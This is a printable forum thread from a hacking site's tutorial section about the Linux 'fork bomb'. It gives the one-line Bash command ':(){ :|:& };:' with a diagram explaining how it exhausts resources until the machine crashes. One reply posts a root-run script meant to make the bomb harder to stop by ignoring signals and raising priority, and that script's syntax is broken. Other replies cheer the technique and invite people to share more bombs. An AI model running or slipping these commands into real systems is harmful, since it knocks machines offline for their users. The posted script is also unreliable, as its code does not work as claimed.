Hack Forums
Crashing a Linux machine - Fork Bomb - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Crashing a Linux machine - Fork Bomb (/showthread.php?tid=6136628)



Crashing a Linux machine - Fork Bomb - K1. - Jan 28, 2021

Today's thread is just a quick pointer on a very well known command which you may have already heard of

This is called 'The Fork Bomb' - WARNING: DO NOT RUN THIS COMMAND UNLESS YOU ARE PREPARED FOR YOUR LINUX SYSTEM TO CRASH

The command of the Fork Bomb goes like this :(){ :|:& };:

This command will create a function that calls upon itself twice for every one call but doesn't have any stop command so it just keeps on repeating until the system runs out of memory and causes it to crash and require a reboot, the process would go on for an infinite amount of time if a machine could handle the memory hammering due to the fact that there is no end to the command but as we have not discovered how to accommodate for an infinite amount of memory your machine is guaranteed to crash due to this command so be careful, try running in a VM if you really want to see a live example!

Handy diagram showing the breakdown, pulled from an askubuntu source:

:(){ :|:& };:
\_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start two more.
| | |||| |\- Definition ends now, to be able to run ...
| | |||| \- End of function-block
| | |||\- disown the functions (make them a background process), so that the children of a parent
| | ||| will not be killed when the parent gets auto-killed
| | ||\- ... another copy of the ':'-function, which has to be loaded into memory.
| | || So, ':|:' simply loads two copies of the function, whenever ':' is called
| | |\- ... and pipe its output to ...
| | \- Load a copy of the function ':' into memory ...
| \- Begin of function-definition
\- Define the function ':' without any parameters '()' as follows:


RE: Crashing a Linux machine - Fork Bomb - Yoda_warrior - Jan 28, 2021

(Jan 28, 2021 04:49 AM)Dr. Dox Wrote:  Today's thread is just a quick pointer on a very well known command which you may have already heard of

This is called 'The Fork Bomb' - WARNING: DO NOT RUN THIS COMMAND UNLESS YOU ARE PREPARED FOR YOUR LINUX SYSTEM TO CRASH

The command of the Fork Bomb goes like this :(){ :|:& };:

This command will create a function that calls upon itself twice for every one call but doesn't have any stop command so it just keeps on repeating until the system runs out of memory and causes it to crash and require a reboot, the process would go on for an infinite amount of time if a machine could handle the memory hammering due to the fact that there is no end to the command but as we have not discovered how to accommodate for an infinite amount of memory your machine is guaranteed to crash due to this command so be careful, try running in a VM if you really want to see a live example!

Handy diagram showing the breakdown, pulled from an askubuntu source:

:(){ :|:& };:
\_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start    two more.
| | |||| |\- Definition ends now, to be able to run ...
| | |||| \- End of function-block
| | |||\- disown the functions (make them a background process), so that the children    of a parent
| | |||  will not be killed when the parent gets auto-killed
| | ||\- ... another copy of the ':'-function, which has to be loaded into memory.
| | ||  So, ':|:' simply loads two copies of the function, whenever ':' is called
| | |\- ... and pipe its output to ...
| | \- Load a copy of the function ':' into memory ...
| \- Begin of function-definition
\- Define the function ':' without any parameters '()' as follows:

Haha reminds me i coded an even better one using nice and nohup ^^
Source right here :
Code
#!/bin/bash
#run as root for nice to work
#forkbomb.sh
function trap()
{
    trap '' 2 3 15
}
while :
do
trap()
nohup {nice -n -20;:(){ :|:& };:} &
done
Bash code, kinda dirty ngl, don't try it :)


RE: Crashing a Linux machine - Fork Bomb - 7 - Jan 28, 2021

Fork bombing thread. Love it. Post your fav bombs <3
Good shit K1


RE: Crashing a Linux machine - Fork Bomb - Yoda_warrior - Jan 28, 2021

(Jan 28, 2021 05:31 AM)NulldB Wrote:  Fork bombing thread. Love it. Post your fav bombs <3
Good shit K1

Haha yeah, old technique but still works!


RE: Crashing a Linux machine - Fork Bomb - 7 - Jan 28, 2021

(Jan 28, 2021 05:31 AM)Yoda_warrior Wrote:  Haha yeah, old technique but still works!

Yeah makes me want to listen to some techno but love it all the same <3


RE: Crashing a Linux machine - Fork Bomb - Yoda_warrior - Jan 28, 2021

(Jan 28, 2021 05:32 AM)NulldB Wrote:  Yeah makes me want to listen to some techno but love it all the same <3

Good music bro! Enjoy :D Btw anyone else coding in bash there ?